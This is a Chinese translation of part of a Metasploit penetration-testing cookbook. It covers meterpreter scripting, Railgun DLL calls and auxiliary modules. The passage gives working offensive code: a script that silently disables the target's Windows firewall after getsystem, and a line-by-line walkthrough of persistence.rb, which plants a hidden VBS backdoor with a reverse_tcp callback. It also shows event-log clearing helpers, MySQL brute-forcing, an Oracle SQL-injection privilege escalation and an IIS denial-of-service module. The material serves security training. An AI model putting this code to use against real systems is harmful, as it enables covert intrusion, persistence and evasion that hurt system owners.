print_line("message")：此调用将打印输出并在末尾添加回车。
print_status("message")：此调用在脚本语言中经常使用。此调用将提供回车并打印正在执行的任何内容的状态，以[*]开头。

>> print_status("HackingAlert")
[*] HackingAlert
=> nil

print_good("message")：此调用用于提供任何操作的结果。消息显示为[+]，表示操作成功。

>> print_good("HackingAlert")
[+] HackingAlert
=> nil

print_error("message")：此调用用于显示在脚本执行过程中可能发生的错误消息。消息显示为[-]，表示错误消息的开始。

>> print_error("HackingAlert")
[-] HackingAlert
=> nil

我讨论这些不同的打印调用的原因是它们在编写 meterpreter 脚本时在相应的情况下被广泛使用。您可以在/opt/framework3/msf3/documentation中找到与 meterpreter API 相关的文档。阅读它们以便清晰和详细地理解。您还可以参考/opt/framework3/msf3/lib/rex/post/meterpreter，在那里您可以找到许多与 meterpreter API 相关的脚本。

这些脚本中包含各种 meterpreter 核心、桌面交互、特权操作以及许多其他命令。查看这些脚本，以便熟悉 meterpreter 在受损系统中的操作方式。

Meterpreter mixins

Meterpreter mixins 是 Metasploit 特定的 irb 调用。这些调用在 irb 中不可用，但它们可以用来表示编写 meterpreter 脚本时最常见的任务。它们可以简化我们编写特定 meterpreter 脚本的任务。让我们看一些有用的 mixins：

cmd_exec(cmd)：以隐藏和通道化的方式执行给定命令。命令的输出以多行字符串形式提供。
eventlog_clear(evt = "")：清除给定的事件日志或所有事件日志（如果未给出）。返回已清除的事件日志数组。
eventlog_list()：枚举事件日志并返回包含事件日志名称的数组。
file_local_write(file2wrt, data2wrt)：将给定字符串写入指定文件。
is_admin?()：标识用户是否为管理员。如果用户是管理员，则返回 true，否则返回 false。
is_uac_enabled?()：确定系统上是否启用了用户账户控制（UAC）。
registry_createkey(key)：创建给定的注册表键并在成功时返回 true。
registry_deleteval(key,valname)：删除给定键和值名称的注册表值。如果成功，则返回 true。
registry_delkey(key)：删除给定的注册表键并在成功时返回 true。
registry_enumkeys(key)：枚举给定注册表键的子键并返回子键数组。
registry_enumvals(key)：枚举给定注册表键的值并返回值名称数组。
registry_getvaldata(key,valname)：返回给定注册表键和其值的数据。
service_create(name, display_name, executable_on_host,startup=2)：用于创建运行自己进程的服务。参数为服务名称（字符串）、显示名称（字符串）、在主机上执行的可执行文件的路径（字符串）和启动类型（整数：2 为自动，3 为手动，4 为禁用）。
service_delete(name)：用于通过删除注册表中的键来删除服务。
service_info(name)：获取 Windows 服务信息。信息以哈希形式返回，包括显示名称、启动模式和服务执行的命令。服务名称区分大小写。哈希键为 Name、Start、Command 和 Credentials。
service_list()：列出所有存在的 Windows 服务。返回包含服务名称的数组。
service_start(name): 该函数用于服务启动。如果服务已启动，则返回 0，如果服务已经启动，则返回 1，如果服务已禁用，则返回 2。
service_stop(name): 该函数用于停止服务。如果服务成功停止，则返回 0，如果服务已经停止或禁用，则返回 1，如果服务无法停止，则返回 2。

这是对一些重要的 meterpreter 混合的快速参考。使用这些混合可以减少我们脚本的复杂性。我们将在接下来的几个教程中了解它们的用法，我们将创建和分析 meterpreter 脚本。

工作原理...

meterpreter API 简单地创建了一个可以理解和解释 Ruby 指令的迷你 Ruby 解释器。使用 API 的主要优势是它给了我们灵活性来执行我们自己的操作。我们不能为所有操作都有命令。可能会有需要特定脚本来执行任务的情况。这就是 API 可以派上用场的地方。

Railgun - 将 Ruby 转化为武器

在上一个教程中，我们看到了使用 meterpreter API 运行 Ruby 脚本。让我们再进一步。假设我们想在受害者机器上进行远程 API 调用，那么最简单的方法是什么？Railgun 是显而易见的答案。它是一个 meterpreter 扩展，允许攻击者直接调用 DLL 函数。通常，它用于调用 Windows API，但我们可以调用受害者机器上的任何 DLL。

准备工作

要开始使用 Railgun，我们需要在目标机器上有一个活动的 meterpreter 会话。要启动 Ruby 解释器，我们将使用上一个教程中讨论的irb命令。

meterpreter>irb
>>

如何做...

在我们开始调用 DLL 之前，让我们首先看看要遵循的基本步骤，以便充分利用 Railgun。

识别您希望调用的函数。
在msdn.microsoft.com/en-us/library/aa383749(v=vs.85).aspx上找到该函数。
检查函数所在的库（DLL）（例如，kernel32.dll）。
所选的库函数可以被调用为client.railgun.dll_name.function_name(arg1, arg2, ...)。

Windows MSDN 库可用于识别在目标机器上调用的有用的 DLL 和函数。让我们调用shell32.dll的简单IsUserAnAdmin函数并分析输出。

>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "return"=>false}

正如我们所看到的，该函数返回了false值，表明用户不是管理员。让我们提升我们的特权，然后再试一次调用。

meterpreter > getsystem
...got system (via technique 4).
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "return"=>true}

这次函数返回了true，表明我们的特权升级成功了，现在我们正在以系统管理员的身份工作。Railgun 为我们提供了灵活性，可以轻松执行那些不以模块形式存在的任务。因此，我们不仅仅局限于框架提供的脚本和模块，事实上，我们可以按需调用。

您可以进一步将此调用扩展为一个带有错误检查的小型 Ruby 脚本：

print_status "Running the IsUserAnAdmin function"
status = client.railgun.shell32.IsUserAnAdmin()
if status['return'] == true then
print_status 'You are an administrator'
else
print_error 'You are not an administrator'
end

使用 Railgun 可以是一个非常强大和令人兴奋的体验。您可以练习自己的调用和脚本来分析输出。但是，如果您想要调用的 DLL 或函数不是 Railgun 定义的一部分，那么 Railgun 还提供了灵活性，可以将您自己的函数和 DLL 添加到 Railgun 中。我们将在下一个教程中处理这个问题。

工作原理...

Railgun 是一个特定的 Ruby 命令解释器，可以用于对受损目标进行远程 DLL 调用。远程 DLL 调用在渗透测试中是一个重要的过程，因为它让我们对受损目标有了完全特权的系统指令执行权限。

还有更多...

Railgun 是一个有趣的工具，可以增强渗透测试的过程。让我们找出更多关于 Railgun 的信息。

Railgun 定义和文档

Railgun 目前支持十种不同的 Windows API DLL。你可以在以下文件夹中找到它们的定义：pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def

除此之外，你还可以从以下位置阅读 Railgun 文档：

/opt/framework3/msf3/external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun_manual.pdf

向 Railgun 添加 DLL 和函数定义

在上一个示例中，我们专注于通过 Railgun 调用 Windows API DLL。在这个示例中，我们将专注于向 Railgun 添加我们自己的 DLL 和函数定义。为了做到这一点，我们应该了解 Windows DLL。Railgun 手册可以帮助你快速了解可以在添加函数定义时使用的不同 Windows 常量。

如何做...

向 Railgun 添加新的 DLL 定义是一项简单的任务。假设你想添加一个随 Windows 一起提供但在你的 Railgun 中不存在的 DLL，那么你可以在pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def下创建一个 DLL 定义，并将其命名为def_dllname.rb。

考虑将 shell32.dll 定义添加到 Railgun 中的示例。我们可以从添加以下代码行开始：

module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_shell32
def self.create_dll(dll_path = 'shell32')
dll = DLL.new(dll_path, ApiConstants.manager)
......
end
end
end; end; end; end; end; end; end

将这段代码保存为def_shell32.dll将会为 shell32.dll 创建一个 Railgun 定义。
下一步是向 DLL 定义中添加函数。如果你看一下 Metasploit 中的def_shell32.dll脚本，你会发现IsUserAnAdmin函数已经被添加进去了。

dll.add_function('IsUserAnAdmin', 'BOOL', [])

该函数简单地返回一个布尔值 True 或 False，取决于条件。同样，我们可以在 shell32.dll 中添加我们自己的函数定义。考虑添加OleFlushClipboard()函数的示例。这将清除 Windows 剪贴板上存在的任何数据。

在 shell32.dll 定义中添加以下代码行将达到我们的目的：

dll.add_function('OleFlushClipboard' , 'BOOL' , [])

它是如何工作的...

为了测试该函数，保存文件并返回到 meterpreter 会话中，检查函数是否成功执行。

>> client.railgun.shell32.OleFlushClipboard
=> {"GetLastError"=>0, "return"=>true}

或者，你也可以使用add_dll和add_function直接将 DLL 和函数添加到 Railgun。以下是一个完整的脚本，它检查 shell32. dll 和OleFlushClipboard函数的可用性，如果它们不存在，则使用add_dll和add_function调用进行添加。

if client.railgun.get_dll('shell32') == nil
print_status "Adding Shell32.dll"
client.railgun.add_dll('shell32','C:\\WINDOWS\\system32\\shell32.dll')
else
print_status "Shell32 already loaded.. skipping"
end
if client.railgun.shell32.functions['OleFlushClipboard'] == nil
print_status "Adding the Flush Clipboard function"
client.railgun.add_function('shell32', 'OleFlushClipboard', 'BOOL', [])
else
print_status "OleFlushClipboard already loaded.. skipping"
end

这是使用 Railgun 作为一个强大工具根据我们的需要调用 Windows API 的一个简短演示。你可以在 MSDN 库中寻找各种有用的 Windows API 调用，并将它们添加到 Railgun 中，增强你的框架的功能。它可以用来调用目标机器上的任何 DLL。在下一个示例中，我们将继续开发我们自己的 meterpreter 脚本。

构建一个“Windows 防火墙停用器”meterpreter 脚本

到目前为止，我们已经使用了几个 meterpreter 脚本，比如killav.rb和persistence.rb。让我们开始讨论开发我们自己的 meterpreter 脚本。编写 Metasploit 中的任何模块都需要 Ruby 知识。你应该对 Ruby 有基本的了解。目前没有足够的文档可以直接学习 meterpreter 脚本编写。最简单和最好的做法是学习 Ruby 语言，同时不断查看各种可用模块的代码。你也可以阅读 Metasploit 开发者指南，了解框架提供的不同库，这些库可以在编写自己的模块时使用。文档可以在dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide找到。

我们将在这里开发的脚本是一个 Windows Vista/7 防火墙停用器脚本。它将使用 Windows 命令netsh，meterpreter 将通过使用名为cmd_exec()的 mixin 在目标机器上执行该命令。

准备工作

Meterpreter 脚本在受攻击的客户端上运行，因此您只需专注于通过脚本执行的任务。您不必担心连接或任何其他参数。让我们看看在编写 meterpreter 脚本时应该牢记的一些重要准则

避免全局变量： 这是在任何框架上编码的一般原则。应避免使用全局变量，因为它们可能会干扰框架变量。只使用实例、局部和常量变量。
使用注释： 在编写代码时，注释是必不可少的。这可以帮助您跟踪哪个部分负责特定的操作。
包括参数： 您可能已经注意到在几个示例中，我们如何将参数与脚本一起传递。最基本但有用的参数是-h或help选项。
打印结果： 打印操作结果可以证明脚本的执行是成功还是失败。应该广泛使用不同的打印调用，如print_status, print_error等，以显示相关信息。
平台验证： 确保您验证要在其上执行操作的平台。
保持文件约定： 完成脚本编写后，请将其保存在/pentest/exploits/framework3/scripts/meterpreter目录下。遵循框架文件约定可以避免任何冲突。
使用 mixin： Mixin 是 meterpreter 中的一个重要概念。使用 mixin 可以使我们的脚本看起来更简单、更容易。

在编写 meterpreter 脚本时，您应该牢记这些准则。

让我们打开任何文本编辑器开始编写 Ruby 脚本。如果您正在使用 BackTrack，则可以使用 Gedit 文本编辑器。

如何做到...

在文本编辑器中输入以下代码行。在转到解释部分之前，仔细查看脚本，并尝试弄清楚每行的含义。脚本很容易理解。

# Author: Abhinav Singh
# Windows Firewall De-Activator
#Option/parameter Parsing
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for disabling the Default windows Firelwall"
print_line "Let's hope it works"
print_line(opts.usage)
raise Rex::Script::Completed
end
}
# OS validation and command execution
unsupported if client.platform !~ /win32|win64/i
end
begin
print_status("disabling the default firewall")
cmd_exec('cmd /c','netsh advfirewall set AllProfiles state off',5)

一旦您输入了代码，请将其保存为myscript.rb，保存在/pentest/exploits/framework3/scripts/meterpreter目录下。

执行此脚本，我们将需要一个 meterpreter 会话。可以使用run命令来执行 Ruby 脚本。但是，在使用脚本之前，请确保您在目标机器上拥有系统特权。

meterpreter > getsystem
...got system (via technique 4).
meterpreter > run myscript.rb
[*] disabling the default firewall
meterpreter >

成功执行脚本将悄悄地禁用默认防火墙。命令的执行发生在后台，因此目标用户对此毫不知情。现在让我们详细了解脚本。

它是如何工作的...

让我们分析脚本的每个部分。

opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for disabling the Default Windows Firewall"
print_line "Let's hope it works"
print_line(opts.usage)
raise Rex::Script::Completed
end
}

这些代码行只是我们可以与脚本一起传递的选项。在此脚本中，我们可以使用的唯一选项是-h参数，它显示脚本的使用消息。您可以将此代码片段保存为创建脚本选项的模板。您将遇到几个代码片段，可以直接在您自己的脚本中使用。

脚本从创建一个哈希（opts）开始，其中包括 Rex 库，Rex 库是 Ruby 扩展库的简写。唯一的键是-h。使用值设置为'false'，这意味着这是脚本的可选参数。代码的下几行将提供的选项与脚本匹配，并跳转到特定情况以使用print_line()显示消息。在我们的情况下，我们只使用了一个选项（-h）。

unsupported if client.platform !~ /win32|win64/i
begin
print_status("disabling the default firewall")
cmd_exec('cmd /c','netsh advfirewall set AllProfiles state off',5)
end

脚本的这部分是操作特定的。它从验证客户端操作系统开始。然后使用 meterpreter mixin cmd_exec()，它可以作为隐藏和通道化执行命令。要执行的命令是netsh advfirewall set AllProfiles state off。mixin 在客户端机器上调用此命令，与命令提示符一起成功执行，禁用了 Windows 防火墙。

您可以通过添加更多功能并尝试不同的可能性来玩弄脚本。您实验得越多，学到的就越多。

这是如何构建 meterpreter 脚本的简短演示。在下一个配方中，我们将详细了解高级 meterpreter 脚本。

还有更多...

让我们扩展我们的讨论，以便更快更有效地进行渗透测试。

代码重用

代码重用可以是构建自己脚本的有效技术。您可以找到一些现成的函数，例如创建多处理程序、设置参数检查、添加有效载荷。您可以直接在您的代码中使用它们并利用其功能。请记住，学习 meterpreter 脚本的最佳方法是查看内置脚本。

分析现有的 meterpreter 脚本

现在我们已经学会了如何构建自己的脚本，让我们继续分析执行一些高级任务的现有脚本。一旦您能完全阅读现有脚本，您就可以根据需要从中实现函数。代码重用是增加代码优化的有效技术。

如何做到这一点...

要查看现有脚本，请浏览到pentest/exploits/framework3/scripts/meterpreter。

您可以在此文件夹中找到所有可用的 meterpreter 脚本。我们将分析persistence.rb脚本，该脚本有助于在目标用户上设置后门。我们在上一章中已经讨论了此脚本的用法。在这里，我们将深入了解此脚本的功能。

它是如何工作的...

让我们逐一分析代码的每个部分。

# Default parameters for payload
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
delay = 5
install = false
autoconn = false
serv = false
altexe = nil
target_dir = nil
payload_type = "windows/meterpreter/reverse_tcp"
script = nil
script_on_target = nil

代码从声明在脚本中使用的变量开始。您可以看到一些常见变量，例如rhost、rport、payload_type，我们在整个利用过程中一直在使用。

@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
"-i" => [ true, "The interval in seconds between each connection attempt"],
"-i" => [ true, "The interval in seconds between each connection attempt"],
"-X" => [ false, "Automatically start the agent when the system boots"],
"-U" => [ false, "Automatically start the agent when the User logs on"],
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
"-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"],
"-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."],
"-T" => [ true, "Alternate executable template to use"],
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
)
meter_type = client.platform

脚本的下一部分包括必须与脚本一起传递的不同参数（标志）。具有true值的参数是必须的标志，其值必须由渗透测试人员传递。具有false值的参数是可选的。

# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for creating a persistent backdoor on a target host."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

脚本的下一部分包括函数声明。前两个函数通常在所有 meterpreter 脚本中都可用。使用函数用于显示脚本的介绍性消息。它包含有关脚本用途的简短描述。wrong_meter_version()用于验证脚本是否支持 meterpreter 版本。一些脚本不支持较旧的 meterpreter 版本，因此验证可能会有所帮助。

# Function for Creating the Payload
#-------------------------------------------------------------------------------
def create_payload(payload_type,lhost,lport)
print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
payload = payload_type
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
return pay.generate
end

下一个函数是用于创建有效载荷的。如果您想创建有效载荷（代码重用的力量），则可以直接在您的脚本中使用此函数。函数create_payload()接受两个值，即payload_type和lport。如果您记得变量声明部分，那么这两个变量已经初始化为一些默认值。

pay = client.framework.payloads.create(payload)调用允许我们从 Metasploit 框架中创建有效载荷。

在此片段中需要注意的一件事是pay.datastore['LHOST'] = lhost和pay.datastore['LPORT'] = lport。数据存储区只是一组值的哈希，可能被模块或框架本身用来引用程序员或用户控制的值。

# Function for Creating persistent script
#-------------------------------------------------------------------------------
def create_script(delay,altexe,raw)
if altexe
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay})
end
print_status("Persistent agent script is #{vbs.length} bytes long")
return vbs
end

下一个函数是用于创建持久脚本的。脚本是根据传递给脚本的有效载荷和其他参数值创建的。

# Function for creating log folder and returning log path
#-------------------------------------------------------------------------------
def log_file(log_path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
return logfile
end

下一个函数是用于为脚本创建日志目录的。host = @client.sys.config.sysinfo["Computer"]调用提取了受损目标的系统信息。使用负责执行文件和目录操作的 Rex::FileUtils 库创建了目录和文件名。

# Function for writing script to target host
#-------------------------------------------------------------------------------
def write_script_to_target(target_dir,vbs)
if target_dir
tempdir = target_dir
else
tempdir = @client.fs.file.expand_path("%TEMP%")
end
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
fd = @client.fs.file.new(tempvbs, "wb")
fd.write(vbs)
fd.close
print_good("Persistent Script written to #{tempvbs}")
file_local_write(@clean_up_rc, "rm #{tempvbs}\n")
return tempvbs
end

该函数开始将文件写入磁盘。它将各种后门文件保存在之前函数创建的文件夹和目录中。Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"调用生成一个随机文本作为要在临时目录中创建的文件名。fd.write()调用将文件写入磁盘。

# Function for setting multi handler for autocon
#-------------------------------------------------------------------------------
def set_handler(selected_payload,rhost,rport)
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = @client.workspace
mul.datastore['PAYLOAD'] = selected_payload
mul.datastore['LHOST'] = rhost
mul.datastore['LPORT'] = rport
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = false
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
print_good("Multi/Handler started!")
end

该函数创建一个多处理程序，以连接回攻击系统。这是一个通用函数，如果您想通过设置多处理程序来实现自动连接功能，可以在您的脚本中使用它。

# Function to execute script on target and return the PID of the process
#-------------------------------------------------------------------------------
def targets_exec(script_on_target)
print_status("Executing script #{script_on_target}")
proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
print_good("Agent executed with PID #{proc.pid}")
file_local_write(@clean_up_rc, "kill #{proc.pid}\n")
return proc.pid
end

该函数负责在目标机器上执行脚本。持久性脚本在目标机器上创建 vbs 脚本，因此必须执行它们以打开连接。Targets_exec()函数解决了这个目的。如果您想在目标机器上执行脚本，这个函数可以再次作为通用函数在您自己的脚本中使用。session.sys.process.execute()调用负责执行脚本，proc.pid返回创建的后门进程的进程 ID。

代码的其余部分是不言自明的，这些函数被调用，一个清晰的脚本被创建，并且一个选项检查被实施。这个示例可能让您清楚地了解当我们执行一个 meterpreter 脚本时背后发生了什么。从渗透测试人员的角度来看，能够根据工作场景阅读和修改代码非常重要。这就是开源框架的美妙之处所在。您可以根据自己的需求进行修改，并通过直接分析现有的源代码来学习。

第七章：使用渗透测试模块

在本章中，我们将涵盖：

使用扫描器辅助模块
使用辅助管理员模块
SQL 注入和 DOS 攻击模块
后渗透模块
了解模块构建的基础知识
分析现有模块
构建您自己的后渗透模块

介绍

在我们讨论 Metasploit 框架基础知识的第一章中，我们提到它具有模块化架构。这意味着所有的利用、有效载荷、编码器等都以模块的形式存在。模块化架构使得扩展框架的功能变得更加容易。任何程序员都可以开发自己的模块，并将其轻松地移植到框架中。完整的渗透测试过程可以包括多个模块的操作。例如，我们从一个利用模块开始，然后使用有效载荷模块，一旦目标被攻破，我们可以使用多个后渗透模块。最后，我们还可以使用不同的模块连接到数据库并存储我们的发现和结果。尽管在使用 Metasploit 时很少谈到模块，但它们构成了框架的核心，因此有必要对其有深入的了解。

在本章中，我们将特别关注pentest/exploits/framework3/modules目录，其中包含一整套有用的模块，可以简化我们的渗透测试任务。模块的使用方式与我们迄今为止所做的非常相似，但功能上有一些差异。在本章的后面，我们还将分析一些现有的模块，并最终通过学习如何为 Metasploit 开发自己的模块来结束本章。让我们开始使用模块进行实验。

使用扫描器辅助模块

让我们开始使用扫描器模块进行实验。我们已经详细了解了使用 Nmap 进行扫描。在这个示例中，我们将分析一些随框架提供的现成扫描模块。尽管 Nmap 是一个强大的扫描工具，但仍然可能出现需要执行特定类型的扫描的情况，例如扫描 MySQL 数据库的存在。

Metasploit 为我们提供了一个完整的有用扫描器列表。让我们继续实际实施其中一些。

准备工作

要找到可用扫描器的列表，我们需要浏览到/pentest/exploits/framework3/modules/auxiliary/scanner。

您可以找到一组超过 35 个有用的扫描模块，可在各种渗透测试场景下使用。

如何做...

让我们从基本的 HTTP 扫描器开始。您会发现有许多不同的 HTTP 扫描选项可用。我们将在这里讨论其中一些。

考虑dir_scanner脚本。这将扫描单个主机或完整的网络范围，以寻找可以进一步探索以收集信息的有趣目录列表。

要开始使用辅助模块，我们需要在 msfconsole 中执行以下步骤：

msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > show options
Module options:

show options命令将列出您可以与扫描器模块一起传递的所有可选参数。最重要的是RHOSTS参数，它将帮助我们定位网络中的单台计算机或一系列计算机。

它是如何工作的...

让我们讨论涉及一些额外输入的特定扫描器模块。mysql_login扫描器模块是一个暴力模块，它扫描目标上 MySQL 服务器的可用性，并尝试通过暴力攻击登录到数据库：

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true yes Try blank pas..
BRUTEFORCE_SPEED 5 yes How fast to..
PASSWORD no A specific password
PASS_FILE no File containing..
RHOSTS yes The target address.
RPORT 3306 yes The target port..
STOP_ON_SUCCESS false yes Stop guessing...
THREADS 1 yes The number of..
USERNAME no A specific user..
USERPASS_FILE no File containing..
USER_FILE no File containing..
VERBOSE true yes Whether to print..

正如您所看到的，我们可以传递许多不同的参数给这个模块。我们充分利用模块的功能，我们成功进行渗透测试的机会就越大。我们可以提供一个完整的用户名和密码列表，模块可以使用并尝试在目标机器上使用。

让我们向模块提供这些信息：

msf auxiliary(mysql_login) > set USER_FILE /users.txt
USER_FILE => /users.txt
msf auxiliary(mysql_login) > set PASS_FILE /pass.txt
PASS_FILE => /pass.txt

现在我们准备使用暴力破解。最后一步将是选择目标并提供运行命令以执行该模块：

msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(mysql_login) > run
[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a
[*] 192.168.56.101:3306 Trying username:'administrator' with password:''

输出显示，该模块首先查找目标上是否存在 MySQL 服务器来启动进程。一旦找到，它就开始尝试使用外部文本文件中提供的用户名和密码组合。这也是当前情况下 Metasploit 最广泛使用的模块操作之一。已经开发了许多自动化暴力破解模块来破解弱密码。

还有更多...

让我们通过 Metasploit 快速简单地生成密码文件的方法。在暴力渗透测试期间，拥有一个体面的密码文件列表可能会有所帮助。

使用"Crunch"生成密码

对于任何暴力破解攻击，我们都必须拥有一个可观的密码文件列表，这些列表将在此类攻击中使用。密码列表可以从在线资源获取，或者渗透测试人员可以选择使用 John The Ripper 生成密码列表。或者，也可以使用 Backtrack 的"crunch"实用程序基于正在使用的字符生成此类列表。您可以在/pentest/passwords/crunch中找到"crunch"实用程序。如果在您的 Backtrack 版本中缺少它，则可以通过在终端窗口中传递以下命令来安装它：

root@bt: cd /pentest/passwords
root@bt:/pentest/passwords# apt-get install crunch

crunch 的基本语法如下：

./ crunch <min-len> <max-len> [-f /path/to/charset.lst charset-name] [-o wordlist.txt]
[-t [FIXED]@@@@] [-s startblock] [-c number]

让我们了解一些 crunch 实用程序的有用参数的功能：

min-len: 起始的最小长度字符串
max-len: 结束的最大长度字符串
charset: 定义要使用的字符集
-b: 数量[类型：kb/mb/gb] - 它指定输出文件的大小
-f </path/to/charset.lst> <charset-name>: 允许我们从charset.lst中指定字符集
-o <wordlist.txt>: 定义要保存输出的文件
-t <@*%^>: 用于添加那些肯定会出现在密码中的文本

可以在以下网址找到有关 crunch 实用程序的完整文档：

sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

您可以阅读完整的文档，以找出如何使用此实用程序生成长且复杂的密码列表。

使用辅助管理模块

继续进行我们的模块实验，我们将了解一些在渗透测试期间非常有用的管理模块。管理模块可以用于不同的目的，例如可以查找管理面板，或者可以尝试进行管理登录等。这取决于模块的功能。在这里，我们将看一下一个名为mysql_enum模块的简单管理辅助模块。

准备工作

mysql_enum模块是 MySQL 数据库服务器的特殊实用程序模块。只要提供了适当的凭据以远程连接，该模块就可以对 MySQL 数据库服务器进行简单枚举。让我们通过使用该模块详细了解它。

如何做...

我们将从启动 msfconsole 并提供辅助模块的路径开始：

msf > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > show options
Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the..
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to..

如您所见，该模块接受密码、用户名和 RHOST 作为参数。这可以帮助模块首先搜索 MySQL 数据库的存在，然后应用凭据尝试远程登录。让我们分析exploit命令的输出：

msf auxiliary(mysql_enum) > exploit
[*] Configuration Parameters: 
[*] C2 Audit Mode is Not Enabled 
[*] xp_cmdshell is Enabled 
[*] remote access is Enabled 
[*] allow updates is Not Enabled 
[*] Database Mail XPs is Not Enabled 
[*] Ole Automation Procedures are Not Enabled 
[*] Databases on the server: 
[*] Database name:master

该模块返回了大量有用的信息。它告诉我们在目标 MySQL 设置上已启用了cmdshell和远程访问。它还返回了目标机器上当前正在处理的数据库名称。

对于其他服务（如 MSSQL 和 Apache），也有几个类似的模块可用。大多数模块的工作过程都是类似的。请记住使用 show options 命令，以确保您传递了模块所需的参数。

它是如何工作的...

这些辅助管理模块通过简单的枚举过程运行，通过建立连接然后传递用户名和密码组合。它还可以用于检查数据库服务器是否支持匿名登录。我们还可以测试默认用户名和密码，就像 MySQL 使用“scott”和“tiger”作为默认登录凭据一样。

SQL 注入和 DOS 攻击模块

Metasploit 对渗透测试人员和黑客都很友好。原因是渗透测试人员必须从黑客的角度思考，以确保他们的网络、服务、应用程序等安全。SQL 注入和 DOS 模块帮助渗透测试人员攻击自己的服务，以确定它们是否容易受到此类攻击。因此，让我们详细讨论一些这些模块。

准备工作

SQL 注入模块利用数据库类型中已知的漏洞并提供未经授权的访问。这个漏洞已知会影响 Oracle 9i 和 10g。Metasploit 包含几个模块，这些模块利用 Oracle 数据库中已知的漏洞来进行查询注入。这些模块可以在modules/auxiliary/sqli/oracle中找到。

如何操作...

让我们分析一个名为Oracle DBMS_METADATA XML的 Oracle 漏洞。这个漏洞将把权限从DB_USER提升到DB_ADMINISTRATOR（数据库管理员）。我们将使用dbms_metadata_get_xml模块：

msf auxiliary(dbms_metadata_get_xml) > show options
Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml):
Name Current Setting Required Description
---- --------------- -------- -----------
DBPASS TIGER yes The password to..
DBUSER SCOTT yes The username to..
RHOST yes The Oracle host.
RPORT 1521 yes The TNS port.
SID ORCL yes The sid to authenticate.
SQL GRANT DBA to SCOTT no SQL to execute.

该模块请求类似我们迄今为止见过的参数。数据库首先通过使用默认登录凭据，即“scott”和“tiger”作为默认用户名和密码来检查登录。一旦模块以数据库用户身份登录，它就会执行利用程序以提升权限到数据库管理员。让我们在目标上执行模块作为测试运行。

msf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1
msf auxiliary(dbms_metadata_get_xml) > set SQL YES
msf auxiliary(dbms_metadata_get_xml) > run

模块成功执行后，用户权限将从DB_USER提升到DB_ADMINISTRATOR。

我们将要介绍的下一个模块与拒绝服务（DOS）攻击有关。我们将分析一个简单的 IIS 6.0 漏洞，允许攻击者通过发送包含超过 40000 个请求参数的 POST 请求来使服务器崩溃。我们将很快分析这个漏洞。该模块已在运行 IIS 6.0 的未打补丁的 Windows 2003 服务器上进行了测试。我们将使用的模块是ms10_065_ii6_asp_dos:

msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
msf auxiliary(ms10_065_ii6_asp_dos) > show options
Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos):
Name Current Setting Required Description
